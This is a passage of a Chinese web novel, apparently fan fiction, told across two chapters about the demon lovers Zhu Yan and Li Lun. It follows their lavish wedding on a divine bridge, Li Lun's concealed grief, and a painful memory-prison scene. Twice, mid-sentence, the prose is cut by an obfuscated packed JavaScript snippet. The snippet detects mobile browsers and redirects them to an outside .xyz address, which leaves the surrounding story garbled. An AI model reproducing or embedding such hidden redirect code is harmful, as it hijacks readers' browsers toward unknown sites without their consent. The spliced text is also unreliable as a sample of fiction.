朱厌一脸无奈,暗自轻叹了一口气,“行,你可别向上次一样,吓我一大跳就成...” 朱厌刚说完,离仑就化作一阵蓝烟离开了。 砰砰砰—— 在朱厌还没出声前,槐江谷小居的门就被人先行一步推开了。 “啧啧啧!瞧瞧这一身亮瞎我眼的漂亮喜服...”九灵风尘仆仆闯了进来,那双漂亮的眼睛在朱厌身上来回上下不断打量着。 朱厌则被他的夸张演技弄得一脸哭笑不得,转而一脸傲娇,眉眼一挑:“漂亮吧?我家离仑送的!” 九灵捂住心口,露出一个被酸到恶.心的表情:“我终于理解英磊了!难怪那家伙逢人老说,自己被你们这一对千年老妖怪给酸得眼瞎。” “你不懂,英磊他那是嫉妒~” 九灵一听,着实忍不住给朱厌翻了一个大大的白眼。 “说吧,这一次,你给我带了什么喜礼?” 朱厌不再同九灵拌嘴,转身朝一旁桌上走去,指尖挑开上面贴着的明晃晃大红喜字,摘了几个葡萄放手上后,就慵懒地躺在床上吃了起来。 葡萄被他丢进嘴里,一咬,爆开的果汁酸得朱厌龇牙咧嘴,眼泪汪汪的。 真酸啊,跟以前离仑买给他的糖葫芦串子,可有得一比... 九灵从怀里取出一个精致的小盒子,一打开,一阵香气扑鼻而来,躺在盒子中央的是两小对泛着橙红色泽的小香块。 两对,一共四块,一对色泽浅些,一对色泽深些。 九灵眼里闪过一丝狡黠,一脸骄傲:“喏,狐族千年一炼的合.欢.魅.香,这些都是一对的,我够仗义吧?!” “左边的是,一点,甭管多厉害的大妖怪,准保他坠入爱欲;右边这一对呢,是...” 朱厌一听,本就被葡萄酸得龇牙咧嘴的脸,顿时小脸一拉,直接一口拒绝掉这份喜礼。 “停停停!我不听也不要!没用这个,他每一次都已经把我折磨得死去活来,连这房间都走不出了。用了这玩意,我还有命看得到大荒第二天的太阳月亮星辰吗?!” “不跟你说了,我要去找离仑了。” 把手里的酸葡萄朝边上一丢,嗖的一声,朱厌直接原地消失不见。 “欸欸欸!你这只臭猴子!我专门给你们炼制的!” 九灵气得在原地哇吱乱叫,刚准备追出去,门被人吱呀一声推开了。 映入眼帘的是同色一身珠白的离仑,本就高大伟岸的身躯包裹在跟朱厌同色的珍珠白喜服之下,将那张本就淡漠孤傲的脸,又平添了一抹疏离。 看到是九灵,他倒是一点都不惊讶,只是冷冷问道:“他呢?” 九灵耸起肩,无奈地朝离仑摊了摊手:“不喜欢我这一次送的喜礼,给吓跑了——” 离仑一听这话,眉眼不由一挑,眼中倒是来了几分好奇之色:“这次什么喜礼?” 九灵有点小失望,语气懒洋洋回着他:“你知道的,狐族擅长魅术,我就给你俩炼制了两对合.欢.魅.香,可难炼了...他居然还不稀罕...” “给我。” 离仑突然开口,倒是把九灵给吓了一大跳。 看着这老槐妖脸上数万年来都是雷打不动的面无表情,九灵那双狐狸眼顿时不由一眯,突然意会到他的话,露出一个秒懂的眼神。 “喏,给你,可别一下子就给点没了,很难炼的。” 九灵没好气一边吩咐着,一边将手中的盒子递了过去,接着又补嘴了一句:“你可别把朱厌给弄死了,我还指望着找他玩呢!” 离仑面无表情收下了盒子,转身准备离去前,朝身后的九灵说了一句:“你不是喜欢清和吗?回头我把他打晕,直接送去你青丘那里。” 九灵忍不住按了按自己额头跳动着的青筋,难怪朱厌老跟他吐槽离仑的草木妖脑袋不太灵光! 草木妖的脑子确实不如他们这些灵长类的灵光,行事直来直往,思考问题也总是一根筋,一身蛮劲也只懂往一处使! “我不行了,真的是受不了这对夫夫了!” 28.神树祝福 槐江谷禁地,溜出小居的朱厌,正坐在一棵巨大的树上,晃悠着双腿,啃着小桃子。 大妖五感超群,目视千里,耳听八方。 坐在高枝上的朱厌,眼睛望着千里之外的苍梧之野,耳朵里正听着前来参宴的大妖小怪们的聊天谈话。 苍梧谷内的诸多前来参宴的山精野怪,大妖小兽们个个都亢奋不已,叽叽喳喳正谈论得格外火热。 “今日的喜宴可比上一次参加王的喜宴,更气派了!” “那可不!大荒的妖谁不知道呀,咱们王把朱厌大人当眼珠子般疼,碰一下都不成。” “听说这一次王还去南海遗迹,寻求到了那残存鲛人一脉的至宝来做喜服呢...” “别说鲛人族至宝了,就是咱朱厌大人要那九重天上的珍宝,王都会想法子给弄到手的...” 说话的女妖越说越起劲,简直就是打开话匣子一样:“好羡慕朱厌大人呀~” “听说毛笔怪又写出了王跟朱厌大人的新话本,正准备开卖呢!” “不行,我待会结束喜宴后可得先去订一本才行...省得又抢空了...” 女妖咬了咬手里的小手绢,一脸悲痛的神情。 上一次的话本抢空,都怪隔壁青丘那狐狸精一下子就买走了全部! 坐在树上的朱厌忍不住点了点头,他很认可这小女妖的话。 他也想看呢,上一次毛笔精写的孤本他好不容易才抢到! 一想起上回他费尽心机抢回来的《玉帘春》最后被离仑没收了,他就很不开心。 不就是毛笔精把离仑写成了反被他关起来干些不可描述的事情而已嘛。 小气鬼离仑抢走后,当晚不仅把里头那些奇奇怪怪的招数都用在他身上,用完后还居然从他手上把它给没收了!他都还没看到后续呢! 他可是很喜欢那小毛笔精写的那些不可描述的东西呢。 虽然,小毛笔精写的,跟他在三百七十岁时,离仑给他带的话本相比之,稍微逊色了一些,但也还算有趣。 感受到一股逐渐靠近的熟悉气息,朱厌嘴角当下扬起一个淡淡的弧度。 下一秒,他便收回远盯着苍梧之野的目光,坐在粗枝树上的他,毫无预警地往后一倒,直接整个人从千米高的大树上,往下高速坠落着。 扑通一声—— 一个温热又宽大的臂膀精准接住了他,熟悉的气息涌入他的鼻翼,一抹白强行闯入他的眼中。 朱厌睁眼一瞧时,眼睛不受控地顿然一亮,双手下意识直接勾上来人的脖颈,却又在下一刻伸指挑过抱住他的这人下巴。 他故意做出一幅纨绔子弟的风流模样,装出猥.琐的语气,那挑逗的勾人眼神,调戏着眼前人:“呦~如此俊俏又好看的小郎君...是谁家的呀~” 离仑被他这么一逗,那张淡漠的脸上瞬间动容起来,忍不住轻笑出声:“朱厌家的。” 朱厌听到这个回答,那双圈住离仑脖子的手紧了几分,很满意地点了点头。 离仑忍不住一问:“你就不怕我不接住你?” 朱厌露出一个傲娇的神情,瞥了离仑一眼:“这位小郎君,你舍得?” 伸手将离仑往自己眼前勾近几分,同他四目对视着,可是心脏却跳得格外凶猛,震得朱厌脸上一烫。 离仑瞧着怀里的朱厌,学着从凡间话本上看来的乱七八糟小神情连跟他说话的语调,都带了一抹连他自己都没察觉到的上扬尾音。 那双清澈又干净的眼睛,望着他,亮亮的。可脸上的神情却傲娇得如同那小玉狸一般,看得他心暖暖的,又软软的。 离仑忍不住,低头吻上了怀里那抹温软的红艳。 朱厌轻扬起脑袋,被动地迎上这人的入侵。 山风拂过耳边,两人发丝相缠在一起,扬起的衣物下衬相互摩挲着,发出微弱的沙沙声。 细听之下,轻微的水渍声夹着暧昧的纠缠,惹得人心动荡得很。 朱厌小声嘀咕着:“别...别闹了...要开...始了吧...” 被亲得晕头转向的朱厌,不停喘着气,小脸通红,一把推搡开离仑,从被他抱着的怀里跳下地。 伸手将离仑的衣襟弄好,又将自己头上的珠帘弄整齐,抬头看着离仑,呆呆一问:“好看吗?” “嗯。好看的。” 离仑伸手将朱厌嘴角残留的水渍抹起,这不经意的动作倒是将朱厌弄得一愣一愣的,随后牵过他的手,两人朝着苍梧之野的方向走去。 苍梧谷的同心大殿里,除了来往参宴的妖怪们诸多喧闹嬉笑声。 大殿里站着一道小身影,扎成小马尾的辫子上,系满了五彩斑斓的小毛球。那人正叉着小腰站着,底下坐满了诸多大荒小妖。 那语气里满是藏不住的炫耀与得意,格外的臭屁。 “我爹爹,我娘亲,千年大妖,从小就是青梅竹马,恩爱得不得了。” “我娘亲说了,喜欢就要主动出击,就像当初他看到我爹爹的第一眼,就喜欢上了。” 底下坐着的大荒小妖伸手,一脸好奇提问:“阿玖殿下,什么是喜欢呀?” 这些小妖都是化成人形不久的小小妖,妖天生没有七情六欲,自是不懂何为喜欢。 “喜欢啊...”谈到这个问题,刚满一百岁的白玖也一脸迷迷糊糊的神情,忍不住伸手挠着头,“喜欢啊...其实我也不太明白...” 终于把诸多参宴的妖怪们逐一安顿好入席了,英磊抻了抻发酸的背走了进来,在瞧见角落里站着的小身影后,顿时神色一喜,大声一喊:“阿玖!” 正忙着解释何为喜欢的白玖一听,抬头一望,眼睛一亮,心花怒放得小跑冲了过去,丢下原地一大群正等着他答案的小妖们,一把扑进英磊的怀里,撒娇着轻声一唤:“英磊——” 另外一边,嬉笑声中还隐约传来了一两声孩童争吵声。 一群绿油油的槐精们围在一起,正听故事听得起劲呢。 忽而,两个槐精就吵了起来了。 “胡说!阿玖殿下明明不是这么说的!”一个肥嘟嘟的槐精气嘟嘟的,叉着双手就往地上一坐。 “阿槐殿下,你可不可以跟我们说多些王跟妖后大人的故事呀。” “对呀,殿下,阿玖殿下跟我们说了一些,我们也想听你说说。” “嗯,让我想想...”坐在桃花秋千上的白槐,荡着秋千,低头沉思了好一会,像是想到了什么似的,眼睛忽然一亮,缓缓开口,“爹爹说,从小到大,娘很吵很闹腾,没事就爱往槐江谷跑。” “尤其是小时候,爹爹不管在槐江谷的入口下了多少层封印跟禁锢,都还是挡不住娘亲。” “一开始,爹爹觉得娘特别吵。尤其是娘总爱跑到他真身上,坐在他枝头那里。就算爹爹不理睬他,他也能自己一个人玩得格外起劲,一说就是一整天。” “后来呢,爹爹觉得,跟娘在一起,一辈子应该很热闹,很有趣。” “来了。”英招捋了捋自己的胡子,回过身,一脸笑意地朝诸多大荒参宴的妖怪们说着。 离仑跟朱厌,双双出现在苍梧神桥的桥头。 苍梧神桥的桥头与桥尾相隔了约莫千米远,中间底下是深不见底的万丈悬崖,崖下更是躲藏满了各种大荒凶兽。 苍梧神桥,又唤为姻缘桥。 在踏出的第一步时,神桥只有在感受到真爱,才会落下,从而对真心相爱的妖侣们进行祝福。 被离仑牵着的朱厌,站在桥头,在看到桥的另一边尽头,站着数之不尽,一堆乌泱泱的大妖小怪后,忍不住后退了几步,他甚至已经萌生了想要逃跑的念头。 朱厌忍不住偷偷瞄了一眼身旁的离仑,瞧到他眼底深藏着的悦色,还有脸上那难掩的满意神情,朱厌只觉得此刻自己的太阳穴,跳得格外厉害,还无比地疼... 这一次,离仑到底请了多少妖怪来参加他们这不知道是第几次的喜宴啊... 离仑这家伙,该不会把四海八荒内所有妖族都请来了吧... 果然,当初就不该心软答应了这家伙的要求,更不该顺着这家伙的意思来... “阿厌。” 忽而被点到名字的朱厌瞬间回神,脱口而出:“嗯。我在呢。” “爷爷说,若是心爱的妖侣携手走过这苍梧神桥,又有建木神树的祝福。那他们一定能生生世世,相爱相守的。我们也会的,对吗?” 站在离仑身旁的朱厌,听到这番话时倒是直接愣在原地。 平日里的离仑很是沉默寡言,甚至可以说是惜字如金。唯独私下在面对他时,会愿意多说些话。可如此长篇大论,还是第一次。 望着这样的离仑,朱厌被牵着的手,僵了一下,连带着心,也不自觉抽痛了一下。 “我们会永远在一起的,对吧?” 离仑转头望着他的神情,很是奇怪。 两人相处了数万年,朱厌在一瞬间就明显感觉到离仑身上情绪骤然一变。 明明上一秒离仑还兴高采烈,可此刻的他却满脸悲伤。那双暗蓝的深瞳里,悄然洇开的浓厚情绪,朱厌突然觉着自己看不懂了。 难道是成亲前的思忧症? 朱厌当即在心里面,一口否定掉自己的荒唐想法。 他跟离仑两人都几万年的老夫老妻了,连这亲都不知道成了没上千也有数百次了吧?!怎么可能是思忧症?! 离仑很高很高,比朱厌高了约莫一个头。他忽而俯身,一把紧紧抱住朱厌。 被莫名其妙突然一抱的朱厌,鼻翼涌入一股浓郁的槐香,整个人只能被迫踮起脚尖仰着脖子,由着离仑深抱着。 下一秒,他也伸手反拥着眼前这个高大,所行之事却如三岁孩童般幼稚的人。 朱厌有些不明所以,他就当离仑是成亲前的思忧症吧,忽而就轻笑出声了。 “你怎么了?难道,你这就是那凡间话本上说的,成亲前的思忧症吗?” 朱厌一边说着,一边还伸手,轻轻抚拍着离仑的后背,似哄讨那闹腾着脾气的孩童般。 在朱厌看不见之处,离仑的眼中划过一丝悲伤,语气闷闷地又再次问了朱厌一次。 “我们,会永远在一起的,对吧...” 朱厌只当他是成亲前思忧过度,忍不住再次笑出声,眼里满是连他自己都没察觉到的专属宠溺,轻声细语道。 “嗯。我们会永远在一起的,我跟你,两个人。不,是两只妖。” “我跟你,一百年,一千年,一万年,朝朝暮暮,岁岁年年。” 朱厌离开了离仑的怀里,反手一牵,比离仑小一些的手,先行十指相扣住离仑的手。 “走吧,我的槐妖大人~成亲去咯~” 突然,朱厌踮起脚,飞快地在离仑的侧脸落下一吻后,笑眼睛盈盈望着他。 离仑身子一僵,那张一向淡漠孤寡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16382558|183428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的脸不禁动容几分,连带着眼中的悲色都瞬间消失殆尽,淡笑着回了他一声:“嗯。走吧,我的小白猿。” 瞧着离仑朱厌他俩在苍梧神桥的桥头,你侬我侬了个半天,站在神桥尽头的英磊,探了又探身子,再伸长了脖子,侧着耳朵听了老半天。 虽说大妖五感超群,但别说一字一句了,此刻连个风声啥的,他都没听到。 一定是离仑那邪恶老槐鬼,偷偷在那边给下了隔离法术,不然凭借他一介超群五感的大妖,怎么可能啥腻歪都没听到呢?! “英磊英磊,你可听到爹爹娘亲他们说了什么?” 打扮得格外精致的白玖,着了一身鹄白的漂亮新衣。那双圆圆的眼睛,笑得弯弯的,又亮亮的,望得英磊心软得如一团棉花似的。 一对上白玖的脸,英磊眼中就不由惊慌起来,眼神更是慌乱地四处乱瞄,不知道往哪处看。 察觉到自己格外失态与丢脸的英磊,故意冷着脸一说:“没听到呢...” 原本还兴高采烈等着答案的白玖,小脸一下子就塌垮了,看得英磊些许失措,露出欲言又止的模样。 小山神趁机偷偷背过身子,脸上狂喜,自我嘀嘀咕着:“这也太可爱了吧!朱厌怎能生出此等萌物!他好可爱啊好可爱啊!” 忽而觉得前方有些冷飕飕的,正在自我小九九的英磊下意识抬头一望。 只见三米之外,站着的白槐,那张与离仑极为相似的脸正黑着,那双暗蓝眼睛带了一抹深不见底的灰泽,也正冷着眼,直勾勾盯着他。 白玖跟白槐,虽是双生子,长得也一模一样,但两人的气质与性情相差得简直十万八千里。 白玖随朱厌,性子活泼好动,脸上长的也是白猿一族的暗红妖纹,可真身却随离仑,是一棵小古槐。 小白玖平日里,总爱把头发扎成各种小辫子小啾啾再系上各种小配饰,也喜欢各种花里胡哨的漂亮小东西,气质与习性养得是越来越像朱厌,简直就像是迷你版小朱厌。 白槐则随离仑,性子冷淡寡言,惜字如金,对于外人,更是吝啬得一个字都不愿多言。平日里除了修炼别无其他爱好,克己复礼得不行,真身与妖纹也都是大槐鬼。 因为勤于修炼,白槐的妖力自是比白玖高了不知多少。在妖力越强发丝越长的大荒里,才刚满百岁的小白槐,就已经长至后腰了。 英磊看到眼神如此骇人的白槐,忍不住咽了咽口水,被抓包的尴尬涌上心头,下意识打着哈哈:“阿槐来了呀...” 英磊方才的小九九动作,自是被白槐全听了也看了去,只见他冷冷对英磊一说:“混账东西!” 想刀一只妖怪的眼神,是藏不住的,哪怕对方是上古大妖。 此时的白槐,就是如此。 白槐走到英磊跟前,英磊当下就给他让开了路。 “哥哥!”白玖一瞧见前来白槐,笑得更开心了,当下就朝他扑了过去,一把抱住他。 白槐原本冷着的脸也不自觉变得柔和了几分,淡淡应着他:“嗯。” “身子好些了没?肚子还疼吗?” 昨日难得朱厌破天荒想要下厨,煮了一大桌菜。 其实,朱厌的厨艺超级烂,柴米油盐酱醋茶更是完全分不明白。把盐当作糖下,把醋混成酱油,这些统统都是家常便饭。 但离仑跟白槐依旧很捧场,即便一大桌乌漆嘛黑的菜多难吃也都默默吃了下去。可白玖就不行,昨天吃了朱厌那一盘未煮熟的海鲜杂烩,闹了一整夜肚子。 “我没事了,你看看。”说完,还特地在白槐跟前转了个圈。 白槐欲言又止,沉默了一会后说:“下次娘做饭,你就去英招祖爷爷家吃饭。” 白槐又接着说:“待会,你就坐我身边,不许乱跑,免得被人拐了。”说着,还一边冷着脸,一个劲瞪盯着一旁站着的英磊。 英磊这个黄毛老妖怪,对阿玖,心思不单纯。 苍梧神桥上,离仑跟朱厌,双双朝前踏了一步。 原本空无一物的半空,在他们踏上的那一瞬间,整个大荒开始发出一声滔天震鸣,一座莹白的通天大桥缓缓从他们跟前铺落到尽头,两侧三桑木上,原本含苞待放的火桑花,刹那间百花齐放。 大荒禁地里的建木神树,一瞬间也开满了火金色的建木花蕊和果实。 千千万万朵建木花蕊的花心飘出一缕缕鎏金光辉,汇聚在一起,冲出禁地的结界,朝着苍梧之野方向飞去。 “快看!是建木神树对王跟妖后大人的祝福!”群妖中忽然有一小妖看到漫天金光,不由惊呼起来。 群妖顿时欢呼起来:“哇!那可是建木神树的祝福呀!” 望着漫天金光的稀世美景,连净渊都不禁感慨道:“大荒建木神树的祝福,即便身死魂销,祝福也能随着转世,再次给两人缔结永世良缘!” 莹白的苍梧神桥祝福,火红的三桑木与火桑花祝福,鎏金的建木神树祝福,三福交织,最终形成一枚建木神印,钻入了离仑和朱厌眉心的妖纹。 两人再度睁眼,离仑的深瞳内瞬间滑过一抹帝释青,而朱厌双眼一滑而过的是耀眼的丹雘红。 两人牵手走上苍梧神桥,走到一半的时候,离仑突然开口。 “阿厌。” “嗯。” “要不...”离仑话说了一半就停下了,很认真思考后同朱厌说,“五百年改成一百年吧,每一百年我们就再成亲一次,可好?” 29.七彩心莲 没开玩笑。 当朱厌听到离仑说的话时,整个人彻底石化在原地了。 此刻他突然觉得,自己好像又不够了解离仑了。 他有时,着实是有点不太能理解离仑这草木精怪的脑回路了... 朱厌的声音,不自觉比平时冷了两度,语气闷闷地说:“你再说一次?” 离仑以为朱厌方才没听到自己说的话,一板一眼又再重复了一次。 “五百年太久了,阿厌...我想...每过一百年,我们就再成亲一次,可好?” 妖的寿命很漫长,像他跟朱厌这种上古大妖,更是与天同寿。别说五百年,千年万年的时光,于他们而言,也只是弹指之间,不过是白驹过隙而已。 被戾气朱厌强行抓来记忆牢笼的朱厌,听到离仑这话时,左眼一颗眼泪落下的同时不由一笑:“原来,以前的我跟你,竟然如此胡闹过...” 站在离仑跟前的朱厌一听,小脸顿时一垮,被离仑牵着的手下意识抽走,却被离仑眼疾手快先行一步死死攥住。 看着自己的手也抽不回,朱厌干脆摆烂起来,没好气一口回绝掉离仑的离谱要求。 “不可以!每过五百年,我就陪你再结亲成婚一次,这已经够胡闹了...” “现在你还想换成百年一次?”朱厌故意拉长脸,瞪着离仑,做出一幅凶巴巴模样,“到时,大荒诸妖整日都只需忙活来喝你我喜酒,都不用修炼了吗?” “能来参加你我的喜宴,那是他们的福气!” 完全没有意识到自己有多胡闹的离仑,一脸格外认真,一本正经又理直气壮同朱厌胡说八道着。 朱厌忍不住伸手揉了揉自己青筋直跳的额头,实在是不知道如何同这说他开窍又好像根本不开窍的小木头说理。 “你再胡闹,我就回去了。” 朱厌威胁着出声,大有离仑再多说一句,他就敢在下一秒直接开溜逃离喜宴的趋势。 两人相处了数万年,都对彼此的一举一动了如指掌。 朱厌脚刚一挪,离仑一下子就知道了他的心思,大手一伸,连忙一把将他搂住,朝自己怀里带。 苍梧神桥的尽头,一群大妖小妖们统统都翘首盼望着,目光一个劲儿地朝他们所在这一处望来。 “他们在那里干嘛呢,磨磨唧唧的,还拉拉扯扯了大半天,怎么还不过来呢?” 百米之外的英磊,伸手挡了挡微刺的阳光,觑着眼,用着极好的大妖视力,努力研究着两人正在叽里咕噜说着话的嘴皮子。 “不准跑。”离仑一把将朱厌抱住,一脸紧张盯着他。 朱厌着实无奈,说不通,舍不得打的他,只好先行投降:“好,我不跑,你放开。” 可离仑还是丝毫没有松开之意,朱厌只好使出杀手锏,巴眨着大眼睛,撅着小嘴,一个劲儿朝离仑撒娇着:“阿离,我不跑的...” 得了朱厌的承诺,离仑才肯松开手,手疾眼快地伸出十指,霸道地赶紧扣住朱厌的手,生怕他下一秒就给跑了。 瞧着今日格外反常的离仑,朱厌暗自深思起来。 他总觉着,今日的离仑很奇怪。 明明是大喜之日,可眉眼之间总是透着一股若隐若现的紧张与悲伤,他有点看不明白了。 瞧着他倆停在原地你侬我侬着,机柏木老头不由笑着摇了摇脑袋,同英招对视了一眼后,开口一说:“两个孩子都是大妖了,还如此恩爱,真好啊..” “起!” 机柏木老头话令刚下,外头守着喜炮的小妖们齐齐开点。 嘭嘭嘭—— 喜炮一飞冲天,炫彩夺目的烟花顿时照亮了大荒的天空,也拉回了朱厌的思绪。 朱厌偷瞄了离仑一眼,歪了歪脑袋,将脸晃到他眼前,明眸皓齿,忽而搞怪一笑:“还成亲吗?槐妖大人~” “嗯。成。” 离仑脸上看不出任何表情,就是望着朱厌的双眼里,一片柔和。 可朱厌知道,他的离仑,心里藏事了。 朱厌暗自偷偷轻叹了一口气,难道就因为自己没有答应他一百年就再结亲成婚的离谱要求? 不行!不可以惯着这小木头! 苍梧神桥的这一段路,明明不长不短,可朱厌就是觉得,这一次的,他跟离仑两个人,就是走了很久很久。 当两人的脚齐齐踏上苍梧神桥的尽头桥尾时,三桑木开的火桑花上那些红珠祝福一飞冲天,化作漫天红光降落。 红珠祝福落在朱厌的身上,化作一枚火桑令的纹徽。在他未察觉时,顺着白皙的皮肤,烙进了他的体内。 离仑牵着朱厌的手,一步一步走进了同心大殿。 两旁站着的妖怪们,顿时给他们让出了一条路。 “恭喜王跟妖后大人,永结同心!” “祝两位大人,恩爱有加,白首不相离!” “祝福大荒的王和后,离仑大人与朱厌大人,比翼连枝,花好月圆——” ... 挤满整座同心大殿的所有大妖小怪,四海八荒内的山精野怪,个个笑容满面,连声贺喜。 朱厌下意识抬眸一望,恰好就对上了离仑的眼睛。 朱厌很早以前就知道,离仑的眼睛,很好看。 这双暗蓝的眼睛,就像深不见底的汪洋,深邃又神秘,摄人且致命,让人只一眼就沦陷了。 每一次,与他对视,朱厌总觉得,这样子的离仑,像一轮遥不可及的高悬清月,可这轮清月却甘愿为他停驻,他很开心。 朱厌听到,此刻自己胸腔内那一颗原本正平稳跳动着的心脏,顿时化作错落无序的滔天擂鼓,让他不由乱了阵脚,变得混乱又无措,惹得他原本就白皙的肤色,不由一红。 而此时,脸上这一抹突如其来的红晕,好似还有逐渐加重的趋势,惊得他先行连忙别开与离仑对视的眼。 同心大殿上,站在高台上的英招,伸出的手,掌心一摊。 一个被黑金淡光裹着的卷轴,自他手心而现。 早在一百年前,离仑就将这卷轴交到了英招手上。 是离仑亲手写的婚书。 朱厌双眼被震惊睁得圆圆的,脸色微妙地望着离仑。 嗯?婚书?他怎么一点都不知道呢? 满堂喧闹道喜的宾客瞬间安静,看着高台上的英招缓缓打开,朗朗诵着。 “喜今日,大荒之喜,因爱而婚,嘉礼再成,良缘永结,珠联璧合。” “卜他年,白首永偕,生死相依,朝暮千岁,情深比天,意浓与地。” “山无棱,天地合,四海倾,八荒散,亦不与君绝。” “伏愿吾爱朱厌,喜乐千秋,顺遂如愿,长命百岁——” “朱厌,答应我,不管以后发生何事...” “你一定要...”离仑忽而伸手,泛着微微凉意的右手拇指,轻轻摩挲着朱厌的侧脸,朝他又靠近了一步,在与朱厌仅有一指距离时,骤然停下,同他轻轻说着:“长命百岁——” 在朱厌刚想开口回他的那一瞬间,离仑便先吻住了他,朱厌也下意识轻阖上眼。 以吻封缄。 当离仑吻上朱厌的那一刻,两人心意再通,识海再度交融。 那一刻,离仑识海里,那棵枯萎无光的大古槐,一时之间,破地而出,抽枝发芽,槐花齐绽;朱厌识海里,因镇压而被迫沉睡的大白猿,开始苏醒,仰天一哮,山崩地裂,百海倒灌,狂风暴雨。 各自融入两人体内那一枚带了神树祝福的建木神印,开始发光。 以血为盟,以身为契,两心相生。 神树给离仑朱厌缔结下的誓契,开始生长滋养,化作一朵七彩琉璃心莲。 离仑的鎏金大古槐法天相地,见势趁机钻入朱厌的识海,一把拥抱上大白猿化出的朱厌大妖法相。 法相相拥,心莲绽放,璨光耀眼。 相吻之中,朱厌眼中忽而泛起的那一抹丹雘红光泽,唯有认真细看才发现其中夹着的一抹京墨黑,被离仑一瞬间转移到自己身上。而离仑眼里一闪而过的帝释青,忽而带上了一抹黑气。 “朱厌,答应我,你一定要长命百岁...” ... 站在一旁观看着这场婚宴的朱厌,身子一僵,瞳孔紧缩,心脏一抽,头又开始作痛起来,像是被人用利刃不断挑刺着大脑最脆弱的神经,整个人直接痛得跪地不起。 “不对...不对的...” 疼得紧揪着自己衣襟的朱厌,泪流满面,手忙脚乱起身,下意识就想要逃离现场。 一团红黑相交织的雾气拦住了他的去路,戾气突然现身,一把抓住他。 戾气朱厌一手掐住朱厌的脖子,一脸愤怒:“怎么?你又想逃吗?” “你就是个一害怕就想躲起来的懦夫!以前是,三万年前是,现在更是!” 疼得有些意识不清晰的朱厌,冷汗直流,混沌之中只觉自己头很疼,心脏更疼。 从苏醒到现在,体内只有三成妖力的他,本就不知何由一直错乱不稳着。此刻被戾气强行困在的记忆牢笼,他一身三成的妖力更是奇怪得只剩下不到半成。 “不是...我不是...我没有...”朱厌情绪忽然彻底失控,哭着拼命挣扎,使劲抓挠着戾气朱厌掐住他的手,想要逃走,“你放开我...” “你是!你有!你就是一个懦夫!” 朱厌又哭了,他也不明白自己为何哭了,也不清楚自己又为何想逃离这里。 他只知道,他一点都不想知道接下去的一切。 朱厌哭得吼破了嗓子:“你到底想要干什么!” “我想干什么?”戾气朱厌狂笑不止,转而朝着朱厌怒吼起来,“朱厌,你应该问问你自己,你到底在害怕什么?” “怎么?很害怕吗?很难受吗?很痛苦吗?” “抑或是,头很疼吗?” 朱厌眼眶滚下一滴泪,眸光微闪,没有出声,只是难以置信盯着戾气。 戾气朱厌手一挥,记忆牢笼化作一股红雾,消失得一干二净。 他又伸手,直接把朱厌抓走,强行拖到第三个记忆牢笼。 戾气朱厌将朱厌一把狠狠丢到地上,地上发出一声扑通巨响,朱厌被摔手肘通红,掌心破皮,格外疼,但在听到声音时,当下循声望去—— ... “阿厌。” “嗯。” “我问了爷爷,爷爷说,大荒的婚事,有六礼...” “阿厌,我...” ... 晦暗不清的昏黄光晕,打落在一身白衣的少年朱厌身上,拉长了他身上的落寞与哀伤。 一阵轻微靠近的脚步声朝他走去,少年朱厌抬头一望,顿时泪眼汪汪:“离仑...” 原本甩袖离去的人又再度折返,目光柔和望着他,轻声细语道:“阿厌,我们走。我带你,回大荒。” 朱厌听到少年的自己说:“可是...离仑...下雪了...” ‘雪’,是朱厌跟离仑之间的一个秘密暗语。 六万多年前的槐江谷入口。 刚满两百来岁的朱厌,坐在离仑化出的大古槐真身上,毛茸茸的脑袋靠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389252|183428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在一旁宽肩上。 “离仑。” “嗯。” “你说,死去的妖,都去哪儿了?” “大荒的妖,没有魂魄,死了就死了。”陪他也一并坐在自个真身树杈上的离仑,想了一会后又接着补说了一句,“大荒的妖,生于天地之间,自是魂归天地。” 朱厌一听当下就不乐意了,小嘴撅得比天还高,“胡说!凡间话本上明明说了,死去的妖,会变成天上的日月星辰。” 下一秒,还很不乐意的朱厌突然眼睛一亮,自我逻辑自洽起来:“阿离,你喜欢雨,我也可以变成雨。以后只要是下雨天,就是我来陪你了。” 离仑一听,一脸认真思考,沉默了好一会才回朱厌:“你喜欢雪,那我变成雪好了。” 朱厌一听,又不乐意了,小脸一垮,没好气说着:“算了算了。我们还是不要死了,活得长长久久,活到天荒地老。阿离,你说,好不好?” 朱厌睁得圆圆又亮亮的眼睛里,倒映着离仑的身影,看得离仑心头一痒,被他自己跟朱厌坐着的古槐真身,翠绿欲滴的槐叶之间,忽然一秒之间开出千千万万朵雪白槐花。 槐江谷的山风夹着万千槐花淡淡的香气,拂过两人并肩而坐,随意披散的长发。 一朵白色的槐花,无意飘落到朱厌那一头雪银头发上。 离仑伸手将它拿下,认真同他许诺着:“好。我陪你。” 朱厌瞧见他的动作,顺着望去,一抬头,发现满树开的白槐花。 他收回望槐花的眼神,转而看向离仑,笑眼盈盈同他一说:“阿离,快看,你开花了耶...” 朱厌伸手接住一朵落下的白槐花,刚想拿,就被离仑伸手拿走,转而别在他耳朵上。 朱厌笑着认真问离仑:“阿离,我好看吗?” 离仑脱口而出:“嗯,好看。” 朱厌一听,心生逗趣离仑的心思,故意假装轻声一叹,满脸悲伤:“那你说的‘好看’...” “你是夸我好看?还是夸你自己的槐花好看?” 离仑顿时一慌,急忙开口自证:“肯定是你。你好看。我喜欢的。” 朱厌一下子就被他逗笑了,笑着下意识滚进了他怀里。 